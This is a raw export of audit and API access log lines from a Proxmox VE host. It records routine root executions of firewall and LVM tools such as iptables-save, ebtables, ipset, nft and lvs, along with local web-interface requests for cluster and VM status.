a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65050 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-restor\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965101618,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:21 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1097"} {"@timestamp":1781965926071,"@rawstring":"node=pve type=EXECVE msg=audit(1781965926.071:67700): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965675686,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965675.686:66616): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63984 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964315268,"@rawstring":"node=pve type=EXECVE msg=audit(1781964315.268:60497): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965935178,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965935.178:67734): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ecbd0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65049 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965101618,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:20 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 497"} {"@timestamp":1781965926064,"@rawstring":"node=pve type=EXECVE msg=audit(1781965926.064:67699): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965675673,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965675.673:66615): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63983 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964315250,"@rawstring":"node=pve type=EXECVE msg=audit(1781964315.250:60496): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965935171,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965935.171:67733): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65048 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965101618,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:20 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 500"} {"@timestamp":1781965926056,"@rawstring":"node=pve type=EXECVE msg=audit(1781965926.056:67698): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965675658,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965675.658:66614): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63982 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964315249,"@rawstring":"node=pve type=EXECVE msg=audit(1781964315.249:60495): argc=1 a0=\"date\""} {"@timestamp":1781965935164,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965935.164:67732): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65047 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965101618,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:20 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 823"} {"@timestamp":1781965926049,"@rawstring":"node=pve type=EXECVE msg=audit(1781965926.049:67696): argc=1 a0=\"ebtables-restore\""} {"@timestamp":1781965675650,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965675.650:66613): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8ada3e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63981 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781964315235,"@rawstring":"node=pve type=EXECVE msg=audit(1781964315.235:60493): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965935160,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965935.160:67731): arch=c000003e syscall=59 success=yes exit=0 a0=5b5e2213dd30 a1=5b5e22149b30 a2=5b5e22117680 a3=5 items=2 ppid=65040 pid=65046 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781965100489,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:20 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965926042,"@rawstring":"node=pve type=EXECVE msg=audit(1781965926.042:67695): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965675640,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965675.640:66612): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc147830 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63980 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964315216,"@rawstring":"node=pve type=EXECVE msg=audit(1781964315.216:60492): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965935157,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965935.157:67730): arch=c000003e syscall=59 success=yes exit=0 a0=5b5e1d325ac8 a1=7fff654a1370 a2=5b5e22117680 a3=5b5e1d30924e items=2 ppid=65040 pid=65042 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781965100489,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:19 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 813"} {"@timestamp":1781965926035,"@rawstring":"node=pve type=EXECVE msg=audit(1781965926.035:67694): argc=4 a0=\"ip6tables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965675631,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965675.631:66611): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc0ed1e0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63979 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781964315188,"@rawstring":"node=pve type=EXECVE msg=audit(1781964315.188:60491): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965935156,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965935.156:67729): arch=c000003e syscall=59 success=yes exit=0 a0=7fff654a1330 a1=5b5e221393d0 a2=5b5e22117680 a3=5 items=2 ppid=65040 pid=65041 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781965099369,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:18 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781965926030,"@rawstring":"node=pve type=EXECVE msg=audit(1781965926.030:67693): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"raw\" a3=\"-n\""} {"@timestamp":1781965674520,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965674.520:66610): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d7417940 a1=64f8d73dbd20 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63978 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964315176,"@rawstring":"node=pve type=EXECVE msg=audit(1781964315.176:60490): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965935151,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965935.151:67727): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=65040 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965099369,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:18 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 828"} {"@timestamp":1781965926022,"@rawstring":"node=pve type=EXECVE msg=audit(1781965926.022:67692): argc=4 a0=\"iptables-restore\" a1=\"-T\" a2=\"filter\" a3=\"-n\""} {"@timestamp":1781965674495,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965674.495:66609): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73be8d0 a1=64f8d73c6380 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=63977 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781964315152,"@rawstring":"node=pve type=EXECVE msg=audit(1781964315.152:60489): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965935143,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965935.143:67726): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65039 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965098283,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:18 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781965926016,"@rawstring":"node=pve type=EXECVE msg=audit(1781965926.016:67691): argc=2 a0=\"ipset\" a1=\"restore\""} {"@timestamp":1781965673914,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965673.914:66608): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954d30 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63974 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964315117,"@rawstring":"node=pve type=EXECVE msg=audit(1781964315.117:60488): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965935136,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965935.136:67725): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65038 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781965098283,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:17 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 498"} {"@timestamp":1781965926009,"@rawstring":"node=pve type=EXECVE msg=audit(1781965926.009:67690): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965673906,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965673.906:66605): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954c70 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63973 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964314423,"@rawstring":"node=pve type=EXECVE msg=audit(1781964314.423:60487): argc=12 a0=\"/sbin/lvs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--config\" a9=7265706F72742F74696D655F666F726D61743D22257322 a10=\"--options\" a11=\"vg_name,lv_name,lv_size,lv_attr,pool_lv,data_percent,metadata_percent,snap_percent,uuid,tags,metadata_size,time\""} {"@timestamp":1781965935130,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965935.130:67724): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecb8adc0c0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65037 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ipset\" exe=\"/usr/sbin/ipset\" subj=unconfined key=\"exec\""} {"@timestamp":1781965098283,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:17 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 497"} {"@timestamp":1781965925999,"@rawstring":"node=pve type=EXECVE msg=audit(1781965925.999:67689): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965668900,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965668.900:66602): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954bb0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63972 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964314387,"@rawstring":"node=pve type=EXECVE msg=audit(1781964314.387:60486): argc=10 a0=\"/sbin/vgs\" a1=\"--separator\" a2=\":\" a3=\"--noheadings\" a4=\"--units\" a5=\"b\" a6=\"--unbuffered\" a7=\"--nosuffix\" a8=\"--options\" a9=\"vg_name,vg_size,vg_free,lv_count\""} {"@timestamp":1781965935121,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965935.121:67723): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1014b0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65036 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965098283,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:17 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 773"} {"@timestamp":1781965925994,"@rawstring":"node=pve type=EXECVE msg=audit(1781965925.994:67688): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965668890,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965668.890:66599): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789954af0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=63971 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781964313737,"@rawstring":"node=pve type=EXECVE msg=audit(1781964313.737:60485): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965935109,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965935.109:67722): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb70 a1=55ecbc1301d0 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=65035 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip\" exe=\"/usr/bin/ip\" subj=unconfined key=\"exec\""} {"@timestamp":1781965098283,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:17 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965925991,"@rawstring":"node=pve type=EXECVE msg=audit(1781965925.991:67687): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965665616,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965665.616:66596): arch=c000003e syscall=59 success=yes exit=0 a0=63b6e81c40a0 a1=63b6e81c0e20 a2=63b6e81a2680 a3=5 items=2 ppid=63964 pid=63970 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables\" exe=\"/usr/sbin/ebtables-legacy\" subj=unconfined key=\"exec\""} {"@timestamp":1781964313726,"@rawstring":"node=pve type=EXECVE msg=audit(1781964313.726:60482): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965934829,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965934.829:67721): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952c50 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65034 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965097165,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:15 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 815"} {"@timestamp":1781965925990,"@rawstring":"node=pve type=EXECVE msg=audit(1781965925.990:67686): argc=1 a0=\"date\""} {"@timestamp":1781965665605,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965665.605:66595): arch=c000003e syscall=59 success=yes exit=0 a0=63b6bf559ac8 a1=7fff97e091d0 a2=63b6e81a2680 a3=63b6bf53d24e items=2 ppid=63964 pid=63966 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"sh\" exe=\"/usr/bin/dash\" subj=unconfined key=\"exec\""} {"@timestamp":1781964308713,"@rawstring":"node=pve type=EXECVE msg=audit(1781964308.713:60479): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965934824,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965934.824:67718): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899532b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65033 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965095854,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:15 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781965925985,"@rawstring":"node=pve type=EXECVE msg=audit(1781965925.985:67684): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965665604,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965665.604:66594): arch=c000003e syscall=59 success=yes exit=0 a0=7fff97e09190 a1=63b6e81a9310 a2=63b6e81a2680 a3=5 items=2 ppid=63964 pid=63965 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"date\" exe=\"/usr/bin/date\" subj=unconfined key=\"exec\""} {"@timestamp":1781964308691,"@rawstring":"node=pve type=EXECVE msg=audit(1781964308.691:60476): argc=4 a0=\"nft\" a1=\"-j\" a2=\"-f\" a3=\"-\""} {"@timestamp":1781965934364,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965934.364:67715): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d26f6fd0 a1=64f8d740f3a0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65032 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"lvs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965095854,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:14 +0100] \"GET /api2/json/cluster/tasks HTTP/1.1\" 200 1105"} {"@timestamp":1781965925977,"@rawstring":"node=pve type=EXECVE msg=audit(1781965925.977:67683): argc=1 a0=\"ip6tables-save\""} {"@timestamp":1781965665597,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965665.597:66592): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=3 ppid=1156 pid=63964 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ebtables-save\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781964306078,"@rawstring":"node=pve type=EXECVE msg=audit(1781964306.078:60473): argc=4 a0=\"/usr/sbin/ebtables\" a1=\"-t\" a2=\"filter\" a3=\"-L\""} {"@timestamp":1781965934334,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965934.334:67714): arch=c000003e syscall=59 success=yes exit=0 a0=64f8d73b2d80 a1=64f8d741f7d0 a2=64f8d2a10130 a3=b items=2 ppid=1154 pid=65031 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"vgs\" exe=\"/usr/sbin/lvm\" subj=unconfined key=\"exec\""} {"@timestamp":1781965095854,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:14 +0100] \"GET /api2/json/nodes/pve/qemu/877/status/current HTTP/1.1\" 200 816"} {"@timestamp":1781965925969,"@rawstring":"node=pve type=EXECVE msg=audit(1781965925.969:67682): argc=1 a0=\"iptables-save\""} {"@timestamp":1781965665580,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965665.580:66591): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63963 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964306072,"@rawstring":"node=pve type=EXECVE msg=audit(1781964306.072:60472): argc=3 a0=\"sh\" a1=\"-c\" a2=67726570202D4520275E65627461626C655F27202F70726F632F6D6F64756C6573207C20637574202D6631202D64272027207C2073656420732F65627461626C655F2F2F"} {"@timestamp":1781965930636,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965930.636:67713): arch=c000003e syscall=59 success=yes exit=0 a0=61301a958f50 a1=61301a467e20 a2=61301a8aab30 a3=8 items=3 ppid=1541 pid=65028 auid=0 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=pts0 ses=1 comm=\"pvesh\" exe=\"/usr/bin/perl\" subj=unconfined key=\"exec\""} {"@timestamp":1781965095854,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 491"} {"@timestamp":1781965925962,"@rawstring":"node=pve type=EXECVE msg=audit(1781965925.962:67681): argc=2 a0=\"ipset\" a1=\"save\""} {"@timestamp":1781965665564,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965665.564:66590): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63962 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"iptables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964306070,"@rawstring":"node=pve type=EXECVE msg=audit(1781964306.070:60471): argc=1 a0=\"date\""} {"@timestamp":1781965929812,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965929.812:67712): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a67899529b0 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65027 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965094848,"@rawstring":"::ffff:192.168.1.157 - root@pam [20/06/2026:15:18:14 +0100] \"GET /api2/json/cluster/resources HTTP/1.1\" 200 497"} {"@timestamp":1781965925953,"@rawstring":"node=pve type=EXECVE msg=audit(1781965925.953:67680): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} {"@timestamp":1781965665543,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965665.543:66589): arch=c000003e syscall=59 success=yes exit=0 a0=7fff8927fb90 a1=55ecbc0e9f30 a2=55ecb805f500 a3=b items=2 ppid=1156 pid=63961 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"ip6tables-save\" exe=\"/usr/sbin/xtables-legacy-multi\" subj=unconfined key=\"exec\""} {"@timestamp":1781964306064,"@rawstring":"node=pve type=EXECVE msg=audit(1781964306.064:60469): argc=3 a0=\"/usr/bin/perl\" a1=\"-w\" a2=\"/sbin/ebtables-save\""} {"@timestamp":1781965929799,"@rawstring":"node=pve type=SYSCALL msg=audit(1781965929.799:67709): arch=c000003e syscall=59 success=yes exit=0 a0=74b9b16bcda0 a1=5a6789952a90 a2=7ffc6ddd32a0 a3=8 items=2 ppid=1119 pid=65026 auid=4294967295 uid=0 gid=0 euid=0 suid=0 fsuid=0 egid=0 sgid=0 fsgid=0 tty=(none) ses=4294967295 comm=\"nft\" exe=\"/usr/sbin/nft\" subj=unconfined key=\"exec\""} {"@timestamp":1781965094848,"@rawstring":"::ffff:192.168.1.192 - root@pam [20/06/2026:15:18:13 +0100] \"GET /api2/extjs/nodes/pve/qemu/877/pending HTTP/1.1\" 200 877"} {"@timestamp":1781965925943,"@rawstring":"node=pve type=EXECVE msg=audit(1781965925.943:67679): argc=5 a0=\"ip\" a1=\"-details\" a2=\"-json\" a3=\"link\" a4=\"show\""} 